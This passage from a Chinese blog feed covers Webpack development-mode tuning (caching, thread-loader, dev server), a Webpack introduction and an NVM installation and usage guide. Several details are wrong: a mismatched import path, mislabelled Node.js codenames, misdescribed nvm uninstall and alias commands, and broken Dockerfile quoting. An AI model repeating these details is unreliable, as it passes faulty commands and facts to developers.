<p><code>node_modules</code> 中的第三方库<strong>已经编译过</strong>，不需要再次处理。</p>
<p><strong>不排除的后果：</strong></p>
<ul>
<li>Babel 编译几万个第三方文件，速度极慢</li>
<li>ESLint 检查第三方代码，报一堆无关错误</li>
</ul>
<h3>5.2 配置方式</h3>
<p><strong>方式一：exclude（排除）</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,  // 排除 node_modules
        loader: "babel-loader",
      },
    ],
  },
};</code></pre>
<p><strong>方式二：include（只包含）</strong></p>
<pre><code class="language-javascript">const path = require("path");

module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        include: path.resolve(__dirname, "src"),  // 只处理 src 目录
        loader: "babel-loader",
      },
    ],
  },
};</code></pre>
<p><strong>推荐：</strong> 使用 <code>include</code> 更精确，性能更好。</p>
<hr />
<h2>六、Cache —— 缓存编译结果</h2>
<h3>6.1 为什么需要缓存？</h3>
<p><strong>场景：</strong> 项目有 100 个 JS 文件，只修改了 1 个。</p>
<p><strong>无缓存：</strong> 100 个文件全部重新编译（ESLint 检查 + Babel 编译）</p>
<p><strong>有缓存：</strong> 99 个未修改的文件直接使用缓存，只编译 1 个文件</p>
<p><strong>速度提升：</strong> 第二次打包快 5-10 倍！</p>
<h3>6.2 Babel 缓存配置</h3>
<pre><code class="language-javascript">// babel.config.js
module.exports = {
  presets: ["@babel/preset-env"],
};

// webpack.config.js
module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        include: path.resolve(__dirname, "src"),
        use: [
          {
            loader: "babel-loader",
            options: {
              cacheDirectory: true,      // 开启缓存
              cacheCompression: false,   // 不压缩缓存文件（更快）
            },
          },
        ],
      },
    ],
  },
};</code></pre>
<p><strong>缓存位置：</strong> <code>node_modules/.cache/babel-loader/</code></p>
<h3>6.3 ESLint 缓存配置</h3>
<pre><code class="language-javascript">const ESLintWebpackPlugin = require("eslint-webpack-plugin");

module.exports = {
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
      cache: true,  // 开启缓存
      cacheLocation: path.resolve(
        __dirname,
        "node_modules/.cache/.eslintcache"
      ),
    }),
  ],
};</code></pre>
<p><strong>缓存位置：</strong> <code>node_modules/.cache/.eslintcache</code></p>
<hr />
<h2>七、多进程打包 —— 榨干 CPU 性能</h2>
<h3>7.1 为什么需要多进程？</h3>
<p><strong>单进程打包：</strong> 一个 CPU 核心处理所有文件，其他核心空闲</p>
<p><strong>多进程打包：</strong> 多个 CPU 核心同时处理，充分利用性能</p>
<p><strong>适用场景：</strong> 大型项目（100+ 文件），小型项目不建议（进程启动有开销）</p>
<h3>7.2 获取 CPU 核心数</h3>
<pre><code class="language-javascript">const os = require("os");
const threads = os.cpus().length;  // 获取 CPU 核心数
console.log(`CPU 核心数：${threads}`);</code></pre>
<h3>7.3 安装依赖</h3>
<pre><code class="language-bash">npm i thread-loader -D</code></pre>
<h3>7.4 配置多进程</h3>
<pre><code class="language-javascript">const os = require("os");
const threads = os.cpus().length;

module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        include: path.resolve(__dirname, "src"),
        use: [
          {
            loader: "thread-loader",  // 放在最前面
            options: {
              workers: threads,  // 进程数量
            },
          },
          {
            loader: "babel-loader",
            options: {
              cacheDirectory: true,
            },
          },
        ],
      },
    ],
  },
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
      cache: true,
      threads,  // ESLint 也开启多进程
    }),
  ],
  optimization: {
    minimizer: [
      new TerserPlugin({
        parallel: threads,  // 压缩也开启多进程
      }),
    ],
  },
};</code></pre>
<p><strong>⚠️ 注意事项：</strong></p>
<ol>
<li><strong>进程启动开销：</strong> 每个进程启动约 600ms，小项目反而更慢</li>
<li><strong>适用场景：</strong> 100+ 文件的大型项目</li>
<li><strong>进程数量：</strong> 一般等于 CPU 核心数，不要设置过多</li>
</ol>
<hr />
<h2>八、开发服务器完整配置</h2>
<h3>8.1 完整示例</h3>
<pre><code class="language-javascript">const os = require("os");
const path = require("path");
const ESLintWebpackPlugin = require("eslint-webpack-plugin");
const HtmlWebpackPlugin = require("html-webpack-plugin");

const threads = os.cpus().length;

module.exports = {
  entry: "./src/main.js",
  output: {
    path: undefined,  // 开发模式不需要输出
    filename: "static/js/main.js",
  },
  module: {
    rules: [
      {
        oneOf: [  // OneOf 优化
          {
            test: /\.css$/,
            use: ["style-loader", "css-loader"],
          },
          {
            test: /\.less$/,
            use: ["style-loader", "css-loader", "less-loader"],
          },
          {
            test: /\.s[ac]ss$/,
            use: ["style-loader", "css-loader", "sass-loader"],
          },
          {
            test: /\.(png|jpe?g|gif|webp)$/,
            type: "asset",
            parser: {
              dataUrlCondition: {
                maxSize: 10 * 1024,  // 小于 10kb 转 base64
              },
            },
          },
          {
            test: /\.(ttf|woff2?)$/,
            type: "asset/resource",
            generator: {
              filename: "static/media/[hash:8][ext][query]",
            },
          },
          {
            test: /\.js$/,
            include: path.resolve(__dirname, "src"),
            use: [
              {
                loader: "thread-loader",
                options: {
                  workers: threads,
                },
              },
              {
                loader: "babel-loader",
                options: {
                  cacheDirectory: true,
                  cacheCompression: false,
                },
              },
            ],
          },
        ],
      },
    ],
  },
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
      exclude: /node_modules/,
      cache: true,
      cacheLocation: path.resolve(
        __dirname,
        "node_modules/.cache/.eslintcache"
      ),
      threads,
    }),
    new HtmlWebpackPlugin({
      template: path.resolve(__dirname, "public/index.html"),
    }),
  ],
  devServer: {
    host: "localhost",
    port: 3000,
    open: true,
    hot: true,
    client: {
      logging: "verbose",  // 显示详细日志
      overlay: {
        errors: true,      // 显示错误遮罩
        warnings: false,   // 不显示警告遮罩
      },
    },
  },
  mode: "development",
  devtool: "cheap-module-source-map",
};</code></pre>
<h3>8.2 启动脚本</h3>
<p><strong>package.json 配置：</strong></p>
<pre><code class="language-json">{
  "scripts": {
    "start": "npm run dev",
    "dev": "npx webpack serve --config webpack.config.js",
    "build": "npx webpack --config webpack.prod.js"
  }
}</code></pre>
<p><strong>启动开发服务器：</strong></p>
<pre><code class="language-bash">npm run dev</code></pre>
<hr />
<h2>九、小结</h2>
<p>本篇我们学习了开发模式的完整优化方案：</p>
<table>
<thead>
<tr>
<th>优化项</th>
<th>作用</th>
<th>速度提升</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Source Map</strong></td>
<td>精准定位错误</td>
<td>-</td>
</tr>
<tr>
<td><strong>HMR</strong></td>
<td>无需刷新页面</td>
<td>5-10 秒 → 0.5 秒</td>
</tr>
<tr>
<td><strong>OneOf</strong></td>
<td>减少 loader 匹配</td>
<td>30%-50%</td>
</tr>
<tr>
<td><strong>Include/Exclude</strong></td>
<td>排除第三方代码</td>
<td>50%+</td>
</tr>
<tr>
<td><strong>Cache</strong></td>
<td>缓存编译结果</td>
<td>5-10 倍（第二次）</td>
</tr>
<tr>
<td><strong>多进程</strong></td>
<td>充分利用 CPU</td>
<td>大型项目 2-3 倍</td>
</tr>
</tbody>
</table>
<p><strong>最佳实践总结：</strong></p>
<ol>
<li>✅ 开发模式使用 <code>cheap-module-source-map</code></li>
<li>✅ 开启 HMR 热更新</li>
<li>✅ 使用 <code>oneOf</code> 优化 loader 匹配</li>
<li>✅ 用 <code>include</code> 限定处理范围</li>
<li>✅ 开启 Babel 和 ESLint 缓存</li>
<li>✅ 大型项目开启多进程</li>
</ol>
<p><strong>下一篇预告：</strong> 《生产模式与性能优化》—— 深入讲解代码分割、Tree Shaking、网络缓存、PWA 等生产环境优化技术，让你的应用加载速度提升 80%！</p>
<hr />
<p><strong>系列导航：</strong></p>
<ul>
<li><a href="?post=37">⏭️ 第1篇：入门</a></li>
<li>📌 第2篇：开发模式（本文）</li>
<li><a href="?post=39">⏭️ 第3篇：生产模式</a></li>
<li><a href="?post=40">⏭️ 第4篇：资源处理</a></li>
<li><a href="?post=41">⏭️ 第5篇：高级优化</a></li>
</ul>
<hr />
<p><em>本文基于 Webpack 5 编写，如有问题欢迎留言讨论。</em></p>]]></description>
    <pubDate>Sat, 11 Apr 2026 12:49:22 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=38</guid>
</item>
<item>
    <title>Webpack 入门与基础 —— 前端工程化必备技能</title>
    <link>http://blog.kaiyu.work/?post=37</link>
    <description><![CDATA[<h1>Webpack 入门与基础 —— 前端工程化必备技能</h1>
<blockquote>
<h3>📚 Webpack 系列文章导航</h3>
<p><strong>第1篇：入门</strong> ← 当前 | <a href="?post=38">第2篇：开发模式</a> | <a href="?post=39">第3篇：生产模式</a> | <a href="?post=40">第4篇：资源处理</a> | <a href="?post=41">第5篇：高级优化</a></p>
</blockquote>
<hr />
<h2>一、为什么需要打包工具？</h2>
<p>在现代前端开发中，我们会使用各种框架（React、Vue）、ES6 模块化语法、Less/Sass 等 CSS 预处理器。但这些代码<strong>无法直接在浏览器中运行</strong>，必须经过编译转换成浏览器能识别的 JavaScript 和 CSS。</p>
<p><strong>打包工具的核心作用：</strong></p>
<ul>
<li>✅ 编译转换：将现代语法编译为浏览器兼容的代码</li>
<li>✅ 模块合并：将多个模块文件打包成少量文件</li>
<li>✅ 资源处理：处理 CSS、图片、字体等资源</li>
<li>✅ 代码优化：压缩代码、提升性能</li>
</ul>
<p><strong>主流打包工具对比：</strong></p>
<table>
<thead>
<tr>
<th>工具</th>
<th>特点</th>
<th>适用场景</th>
</tr>
</thead>
<tbody>
<tr>
<td>Webpack</td>
<td>功能强大、生态丰富</td>
<td>中大型项目</td>
</tr>
<tr>
<td>Vite</td>
<td>极速启动、基于 ESM</td>
<td>现代浏览器项目</td>
</tr>
<tr>
<td>Rollup</td>
<td>打包库/组件库</td>
<td>npm 包发布</td>
</tr>
<tr>
<td>Parcel</td>
<td>零配置</td>
<td>快速原型</td>
</tr>
</tbody>
</table>
<p><strong>为什么选择 Webpack？</strong></p>
<p>目前市面上<strong>最流行</strong>的打包工具，生态最完善，企业使用率最高，是前端工程师的必备技能。</p>
<hr />
<h2>二、你能学到什么？</h2>
<p>本系列课程分为四个阶段：</p>
<ul>
<li>🥉 <strong>青铜阶段</strong>：Webpack 基础使用（是什么、怎么用）</li>
<li>🥈 <strong>黄金阶段</strong>：高级优化配置（面试常考点）</li>
<li>🥇 <strong>钻石阶段</strong>：从零搭建项目脚手架（React/Vue 实战）</li>
<li>👑 <strong>王者阶段</strong>：Webpack 原理分析（迈向大神之路）</li>
</ul>
<hr />
<h2>三、Webpack 基本使用</h2>
<h3>3.1 什么是 Webpack？</h3>
<p><strong>Webpack 是一个静态资源打包工具。</strong></p>
<p>它会以一个或多个文件作为入口，将项目中所有文件编译组合成一个或多个 bundle 文件输出，供浏览器运行。</p>
<h3>3.2 快速开始</h3>
<h4>步骤 1：创建项目结构</h4>
<pre><code>webpack_code/
├── src/
│   ├── js/
│   │   ├── count.js
│   │   └── math.js
│   └── main.js
├── public/
│   └── index.html
└── package.json</code></pre>
<h4>步骤 2：编写示例代码</h4>
<p><strong>count.js</strong></p>
<pre><code class="language-javascript">export default function count(x, y) {
  return x - y;
}</code></pre>
<p><strong>math.js</strong></p>
<pre><code class="language-javascript">export default function sum(...args) {
  return args.reduce((p, c) =&gt; p + c, 0);
}</code></pre>
<p><strong>main.js</strong></p>
<pre><code class="language-javascript">import count from "./js/count";
import sum from "./js/sum";

console.log(count(2, 1));
console.log(sum(1, 2, 3, 4));</code></pre>
<h4>步骤 3：初始化项目</h4>
<pre><code class="language-bash"># 初始化 package.json
npm init -y

# 安装 Webpack（注意：name 不能叫 webpack）
npm i webpack webpack-cli -D</code></pre>
<h4>步骤 4：执行打包</h4>
<pre><code class="language-bash"># 开发模式
npx webpack ./src/main.js --mode=development

# 生产模式
npx webpack ./src/main.js --mode=production</code></pre>
<p><strong>参数说明：</strong></p>
<ul>
<li><code>npx webpack</code>：运行本地安装的 Webpack</li>
<li><code>./src/main.js</code>：指定入口文件</li>
<li><code>--mode=xxx</code>：指定打包模式</li>
</ul>
<h4>步骤 5：查看输出</h4>
<p>打包完成后，Webpack 会生成 <code>dist/main.js</code> 文件，在 HTML 中引入即可运行。</p>
<hr />
<h2>四、开发模式 vs 生产模式</h2>
<h3>4.1 开发模式（Development）</h3>
<p><strong>用途：</strong> 编写代码时使用</p>
<p><strong>核心功能：</strong></p>
<ul>
<li>编译 ES Module 语法</li>
<li>支持热模块替换（HMR）</li>
<li>生成 Source Map 便于调试</li>
<li><strong>不压缩代码</strong>，保留可读性</li>
</ul>
<h3>4.2 生产模式（Production）</h3>
<p><strong>用途：</strong> 代码上线部署</p>
<p><strong>核心功能：</strong></p>
<ul>
<li>编译 ES Module 语法</li>
<li><strong>自动压缩代码</strong></li>
<li>Tree Shaking 移除无用代码</li>
<li>优化打包体积和运行性能</li>
</ul>
<hr />
<h2>五、处理样式资源</h2>
<p>Webpack 本身只能处理 JavaScript，其他资源需要借助 <strong>Loader</strong>。</p>
<h3>5.1 处理 CSS</h3>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i css-loader style-loader -D</code></pre>
<p><strong>两个 Loader 的作用：</strong></p>
<ul>
<li><code>css-loader</code>：将 CSS 编译成 Webpack 能识别的模块</li>
<li><code>style-loader</code>：创建 <code>&lt;style&gt;</code> 标签，将样式注入页面</li>
</ul>
<p><strong>配置文件（webpack.config.js）：</strong></p>
<pre><code class="language-javascript">const path = require("path");

module.exports = {
  entry: "./src/main.js",
  output: {
    path: path.resolve(__dirname, "dist"),
    filename: "main.js",
  },
  module: {
    rules: [
      {
        test: /\.css$/,
        use: ["style-loader", "css-loader"], // 从右到左执行
      },
    ],
  },
  mode: "development",
};</code></pre>
<p><strong>在 JS 中引入 CSS：</strong></p>
<pre><code class="language-javascript">import "./css/index.css";</code></pre>
<h3>5.2 处理 Less/Sass/Stylus</h3>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.less$/,
        use: ["style-loader", "css-loader", "less-loader"],
      },
      {
        test: /\.s[ac]ss$/,
        use: ["style-loader", "css-loader", "sass-loader"],
      },
      {
        test: /\.styl$/,
        use: ["style-loader", "css-loader", "stylus-loader"],
      },
    ],
  },
};</code></pre>
<p><strong>安装命令：</strong></p>
<pre><code class="language-bash">npm i less-loader -D                    # Less
npm i sass-loader sass -D               # Sass/Scss
npm i stylus-loader -D                  # Stylus</code></pre>
<hr />
<h2>六、处理 JavaScript 资源</h2>
<p>Webpack 默认只能编译 ES Module 语法，要实现<strong>兼容性处理</strong>和<strong>代码规范检查</strong>，需要 Babel 和 ESLint。</p>
<h3>6.1 ESLint 代码检查</h3>
<p><strong>作用：</strong> 统一团队代码风格，提前发现潜在问题</p>
<p><strong>安装：</strong></p>
<pre><code class="language-bash">npm i eslint-webpack-plugin eslint -D</code></pre>
<p><strong>.eslintrc.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  extends: ["eslint:recommended"],
  env: {
    node: true,
    browser: true,
  },
  parserOptions: {
    ecmaVersion: 6,
    sourceType: "module",
  },
  rules: {
    "no-var": 2, // 禁止使用 var
  },
};</code></pre>
<p><strong>webpack.config.js 配置：</strong></p>
<pre><code class="language-javascript">const ESLintWebpackPlugin = require("eslint-webpack-plugin");

module.exports = {
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
    }),
  ],
};</code></pre>
<h3>6.2 Babel 兼容性编译</h3>
<p><strong>作用：</strong> 将 ES6+ 语法转换为向后兼容的 JavaScript</p>
<p><strong>安装：</strong></p>
<pre><code class="language-bash">npm i babel-loader @babel/core @babel/preset-env -D</code></pre>
<p><strong>babel.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  presets: ["@babel/preset-env"],
};</code></pre>
<p><strong>webpack.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,
        loader: "babel-loader",
      },
    ],
  },
};</code></pre>
<hr />
<h2>七、处理图片和字体资源</h2>
<p>Webpack 5 使用 <strong>Asset Modules</strong> 处理资源文件：</p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.(png|jpe?g|gif|webp)$/,
        type: "asset",
        parser: {
          dataUrlCondition: {
            maxSize: 10 * 1024, // 小于 10kb 转 base64
          },
        },
        generator: {
          filename: "static/imgs/[hash:8][ext][query]",
        },
      },
      {
        test: /\.(ttf|woff2?)$/,
        type: "asset/resource",
        generator: {
          filename: "static/media/[hash:8][ext][query]",
        },
      },
    ],
  },
};</code></pre>
<hr />
<h2>八、小结</h2>
<p>本篇我们学习了：</p>
<ol>
<li>✅ Webpack 的作用和主流打包工具对比</li>
<li>✅ 快速搭建 Webpack 开发环境</li>
<li>✅ 开发模式与生产模式的区别</li>
<li>✅ 处理 CSS/Less/Sass 样式资源</li>
<li>✅ 使用 ESLint 检查代码规范</li>
<li>✅ 使用 Babel 编译 JavaScript</li>
<li>✅ 处理图片和字体资源</li>
</ol>
<p><strong>下一篇预告：</strong> 《开发模式完全指南》—— 深入讲解 HMR 热更新、OneOf 优化、多进程打包等高级配置，让你的开发效率翻倍！</p>
<hr />
<p><strong>系列导航：</strong></p>
<ul>
<li>📌 第1篇：入门（本文）</li>
<li><a href="?post=38">⏭️ 第2篇：开发模式</a></li>
<li><a href="?post=39">⏭️ 第3篇：生产模式</a></li>
<li><a href="?post=40">⏭️ 第4篇：资源处理</a></li>
<li><a href="?post=41">⏭️ 第5篇：高级优化</a></li>
</ul>
<hr />
<p><em>本文基于 Webpack 5 编写，如有问题欢迎留言讨论。</em></p>]]></description>
    <pubDate>Sat, 11 Apr 2026 12:49:21 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=37</guid>
</item>
<item>
    <title>NVM 完全指南：Node.js 版本管理的终极武器</title>
    <link>http://blog.kaiyu.work/?post=49</link>
    <description><![CDATA[<h1>NVM 完全指南：Node.js 版本管理的终极武器</h1>
<h2>什么是 NVM？</h2>
<p><strong>NVM (Node Version Manager)</strong> 是一个用于管理多个 Node.js 版本的命令行工具。它允许你在同一台机器上快速安装、切换和使用不同版本的 Node.js，而无需手动下载、配置或处理权限问题。</p>
<h3>为什么需要 NVM？</h3>
<ol>
<li><strong>项目兼容性</strong> - 不同项目可能依赖不同版本的 Node.js</li>
<li><strong>测试需求</strong> - 需要测试代码在多个 Node 版本下的表现</li>
<li><strong>避免权限问题</strong> - 无需 sudo 即可全局安装 npm 包</li>
<li><strong>快速切换</strong> - 一行命令即可切换 Node 版本</li>
</ol>
<hr />
<h2>安装 NVM</h2>
<h3>Linux / macOS 一键安装</h3>
<pre><code class="language-bash"># 使用 curl
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.4/install.sh | bash

# 或使用 wget
wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.4/install.sh | bash</code></pre>
<h3>Windows 安装（nvm-windows）</h3>
<p>⚠️ <strong>注意：</strong> Windows 需要使用 <strong>nvm-windows</strong> 版本，与 Linux/macOS 的 nvm 不同。</p>
<p><strong>下载地址：</strong></p>
<ul>
<li><strong>GitHub 发布页：</strong> <a href="https://github.com/coreybutler/nvm-windows/releases">https://github.com/coreybutler/nvm-windows/releases</a></li>
<li><strong>推荐下载：</strong> <code>nvm-setup.exe</code> 安装包（最新稳定版）</li>
</ul>
<p><strong>安装步骤：</strong></p>
<ol>
<li><strong>卸载旧版 Node.js</strong>（如已安装）- 避免冲突</li>
<li><strong>运行安装程序</strong> - 选择同意协议</li>
<li><strong>选择安装目录</strong> - 建议 <code>D:\nvm</code>（不要带中文路径）</li>
<li><strong>选择 Node 安装目录</strong> - 建议 <code>D:\nvm\nodejs</code></li>
<li><strong>取消邮件订阅</strong> - 全部取消勾选</li>
<li><strong>完成安装</strong> - 打开 PowerShell 验证</li>
</ol>
<p><strong>验证安装：</strong></p>
<pre><code class="language-powershell"># PowerShell 或 CMD
nvm -v</code></pre>
<p>输出版本号表示安装成功。</p>
<p><strong>常见问题：</strong></p>
<ul>
<li><strong>ERROR: open \settings.txt</strong> - 关闭并重新打开 PowerShell/CMD</li>
<li><strong>命令找不到</strong> - 检查环境变量 <code>NVM_HOME</code> 和 <code>NVM_SYMLINK</code></li>
</ul>
<p><strong>nvm-windows 常用命令：</strong></p>
<pre><code class="language-powershell"># 安装 Node.js
nvm install 20.11.0

# 切换到指定版本
nvm use 20.11.0

# 列出已安装版本
nvm list

# 设置镜像源（国内必备）
nvm node_mirror https://npmmirror.com/mirrors/node/
nvm npm_mirror https://npmmirror.com/mirrors/npm/</code></pre>
<h3>国内用户推荐：使用国内镜像安装</h3>
<p>由于 GitHub  raw 文件在国内访问较慢，可以使用国内镜像源：</p>
<pre><code class="language-bash"># 方式一：使用国内镜像脚本
export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node/
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.4/install.sh | bash

# 方式二：手动克隆（更稳定）
git clone https://gitee.com/RubyMetric/nvm.git ~/.nvm</code></pre>
<h3>验证安装</h3>
<pre><code class="language-bash">command -v nvm</code></pre>
<p>输出 <code>nvm</code> 表示安装成功。</p>
<h3>手动配置（如果自动配置失败）</h3>
<p>将以下内容添加到你的 shell 配置文件（<code>~/.bashrc</code>、<code>~/.zshrc</code> 或 <code>~/.profile</code>）：</p>
<pre><code class="language-bash">export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] &amp;&amp; printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")"
[ -s "$NVM_DIR/nvm.sh" ] &amp;&amp; \. "$NVM_DIR/nvm.sh"  # 加载 nvm</code></pre>
<hr />
<h2>国内配置（必读！）</h2>
<h3>配置镜像源加速下载</h3>
<p>国内访问官方源速度慢，建议配置以下镜像：</p>
<pre><code class="language-bash"># 临时设置（当前终端会话）
export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node/
export NVM_IOJS_ORG_MIRROR=https://npmmirror.com/mirrors/iojs/

# 永久设置（推荐）
echo 'export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node/' &gt;&gt; ~/.zshrc
echo 'export NVM_IOJS_ORG_MIRROR=https://npmmirror.com/mirrors/iojs/' &gt;&gt; ~/.zshrc
source ~/.zshrc</code></pre>
<h3>配置 npm 镜像</h3>
<pre><code class="language-bash"># 设置 npm 镜像为淘宝源
npm config set registry https://registry.npmmirror.com

# 永久写入 ~/.npmrc
echo 'registry=https://registry.npmmirror.com' &gt;&gt; ~/.npmrc</code></pre>
<h3>一键配置脚本</h3>
<p>创建 <code>~/.nvm_config.sh</code> 脚本：</p>
<pre><code class="language-bash">#!/bin/bash
# NVM 国内配置一键脚本

# 配置 NVM 镜像
export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node/
export NVM_IOJS_ORG_MIRROR=https://npmmirror.com/mirrors/iojs/

# 添加到 shell 配置
cat &gt;&gt; ~/.zshrc &lt;&lt; 'EOF'

# NVM 国内镜像配置
export NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node/
export NVM_IOJS_ORG_MIRROR=https://npmmirror.com/mirrors/iojs/
EOF

# 配置 npm 镜像
npm config set registry https://registry.npmmirror.com

echo "✅ NVM 国内配置完成！"</code></pre>
<hr />
<h2>核心命令速查</h2>
<h3>安装 Node.js</h3>
<pre><code class="language-bash"># 安装最新版本
nvm install node

# 安装指定版本
nvm install 20
nvm install 18.17.0

# 安装 LTS 版本
nvm install --lts

# 安装时设置默认
nvm install 20 --default</code></pre>
<h3>切换版本</h3>
<pre><code class="language-bash"># 切换到指定版本
nvm use 20

# 使用已安装的某个版本
nvm use 18.17.0</code></pre>
<h3>查看版本</h3>
<pre><code class="language-bash"># 列出所有已安装的版本
nvm ls

# 列出所有可安装的版本
nvm ls-remote

# 查看当前使用的版本
nvm current</code></pre>
<h3>设置默认版本</h3>
<pre><code class="language-bash"># 设置默认 Node 版本（新终端自动使用）
nvm alias default 20</code></pre>
<h3>卸载版本</h3>
<pre><code class="language-bash"># 卸载指定版本
nvm uninstall 16</code></pre>
<hr />
<h2>高级技巧</h2>
<h3>1. 使用 .nvmrc 文件</h3>
<p>在项目根目录创建 <code>.nvmrc</code> 文件，指定项目所需的 Node 版本：</p>
<pre><code class="language-bash"># .nvmrc 内容
20.11.0</code></pre>
<p>进入项目目录后自动切换：</p>
<pre><code class="language-bash">nvm use  # 自动读取 .nvmrc 并切换版本</code></pre>
<h3>2. 迁移全局包</h3>
<p>安装新版本时迁移全局 npm 包：</p>
<pre><code class="language-bash">nvm install 20 --reinstall-packages-from=18</code></pre>
<h3>3. 清理旧版本</h3>
<pre><code class="language-bash"># 卸载除当前版本外的所有版本
nvm uninstall --lts

# 卸载指定版本
nvm uninstall 14</code></pre>
<h3>4. 运行命令时使用特定版本</h3>
<pre><code class="language-bash"># 临时使用某个版本运行命令
nvm exec 18 node app.js</code></pre>
<h3>5. 查看版本使用路径</h3>
<pre><code class="language-bash"># 查看当前 Node 的安装路径
nvm which current

# 查看指定版本的路径
nvm which 20</code></pre>
<h3>6. 别名管理</h3>
<pre><code class="language-bash"># 创建版本别名
nvm alias stable 20.11.0
nvm alias myproject 18.17.0

# 使用别名
nvm use stable
nvm use myproject

# 删除别名
nvm alias default node</code></pre>
<hr />
<h2>Docker 中使用 NVM</h2>
<pre><code class="language-dockerfile">FROM ubuntu:latest
ARG NODE_VERSION=20

# 安装 curl
RUN apt update &amp;&amp; apt install curl -y

# 配置国内镜像
ENV NVM_NODEJS_ORG_MIRROR=https://npmmirror.com/mirrors/node/

# 安装 nvm
RUN curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.4/install.sh | bash

# 设置环境变量
ENV NVM_DIR=/root/.nvm

# 安装 Node.js
RUN bash -c "source $NVM_DIR/nvm.sh &amp;&amp; nvm install $NODE_VERSION"

# 设置 ENTRYPOINT
ENTRYPOINT ["bash", "-c", "source $NVM_DIR/nvm.sh &amp;&amp; exec "$@"", "--"]

CMD ["/bin/bash"]</code></pre>
<hr />
<h2>常见问题排查</h2>
<h3>macOS 安装失败</h3>
<ol>
<li>
<p>确保安装了 Xcode Command Line Tools：</p>
<pre><code class="language-bash">xcode-select --install</code></pre>
</li>
<li>
<p>如果使用 zsh，确保 <code>~/.zshrc</code> 存在：</p>
<pre><code class="language-bash">touch ~/.zshrc</code></pre>
</li>
</ol>
<h3>Linux 命令找不到</h3>
<pre><code class="language-bash"># 重新加载配置文件
source ~/.bashrc  # 或 source ~/.zshrc

# 或重启终端</code></pre>
<h3>Windows 常见问题</h3>
<ul>
<li><strong>settings.txt 错误</strong> - 关闭并重新打开 PowerShell</li>
<li><strong>命令找不到</strong> - 检查环境变量配置</li>
<li><strong>权限问题</strong> - 以管理员身份运行 PowerShell</li>
</ul>
<h3>权限问题</h3>
<p>使用 nvm 后，全局安装 npm 包不再需要 sudo：</p>
<pre><code class="language-bash"># ✅ 正确
npm install -g pm2

# ❌ 不需要
sudo npm install -g pm2</code></pre>
<h3>国内下载速度慢</h3>
<p>确保已配置镜像源：</p>
<pre><code class="language-bash"># 检查当前镜像配置
echo $NVM_NODEJS_ORG_MIRROR

# 应输出：https://npmmirror.com/mirrors/node/</code></pre>
<hr />
<h2>最佳实践建议</h2>
<ol>
<li><strong>每个项目使用 .nvmrc</strong> - 确保团队成员使用相同的 Node 版本</li>
<li><strong>定期清理旧版本</strong> - 避免磁盘空间浪费</li>
<li><strong>使用 LTS 版本</strong> - 生产环境优先选择长期支持版本</li>
<li><strong>配置镜像</strong> - 国内用户务必配置镜像源加速下载</li>
<li><strong>备份全局包列表</strong> - 重装系统前导出全局包列表</li>
<li><strong>团队协作统一版本</strong> - 在 README 中注明所需 Node 版本</li>
</ol>
<hr />
<h2>常用 Node.js 版本参考</h2>
<table>
<thead>
<tr>
<th>版本</th>
<th>代号</th>
<th>LTS</th>
<th>停止维护</th>
</tr>
</thead>
<tbody>
<tr>
<td>24.x</td>
<td>-</td>
<td>否</td>
<td>-</td>
</tr>
<tr>
<td>22.x</td>
<td>Iron</td>
<td>是</td>
<td>2027-04</td>
</tr>
<tr>
<td>20.x</td>
<td>Hydrogen</td>
<td>是</td>
<td>2026-04</td>
</tr>
<tr>
<td>18.x</td>
<td>Hydrogen</td>
<td>是</td>
<td>2025-04</td>
</tr>
<tr>
<td>16.x</td>
<td>Gallium</td>
<td>否</td>
<td>2024-09</td>
</tr>
</tbody>
</table>
<p><strong>推荐：</strong> 生产环境使用 <strong>20.x</strong> 或 <strong>22.x</strong> LTS 版本</p>
<hr />
<h2>资源链接</h2>
<ul>
<li>🌐 <strong>官方仓库：</strong> <a href="https://github.com/nvm-sh/nvm">https://github.com/nvm-sh/nvm</a></li>
<li>📚 <strong>官方文档：</strong> <a href="https://github.com/nvm-sh/nvm#readme">https://github.com/nvm-sh/nvm#readme</a></li>
<li>🇨🇳 <strong>中文官网：</strong> <a href="https://nvm.uihtm.com/">https://nvm.uihtm.com/</a></li>
<li>📖 <strong>中文指南：</strong> <a href="https://nvm.uihtm.com/doc/guide.html">https://nvm.uihtm.com/doc/guide.html</a></li>
<li>🪞 <strong>镜像源：</strong> <a href="https://npmmirror.com/">https://npmmirror.com/</a></li>
<li>🐛 <strong>问题反馈：</strong> <a href="https://github.com/nvm-sh/nvm/issues">https://github.com/nvm-sh/nvm/issues</a></li>
<li>🪟 <strong>nvm-windows：</strong> <a href="https://github.com/coreybutler/nvm-windows">https://github.com/coreybutler/nvm-windows</a></li>
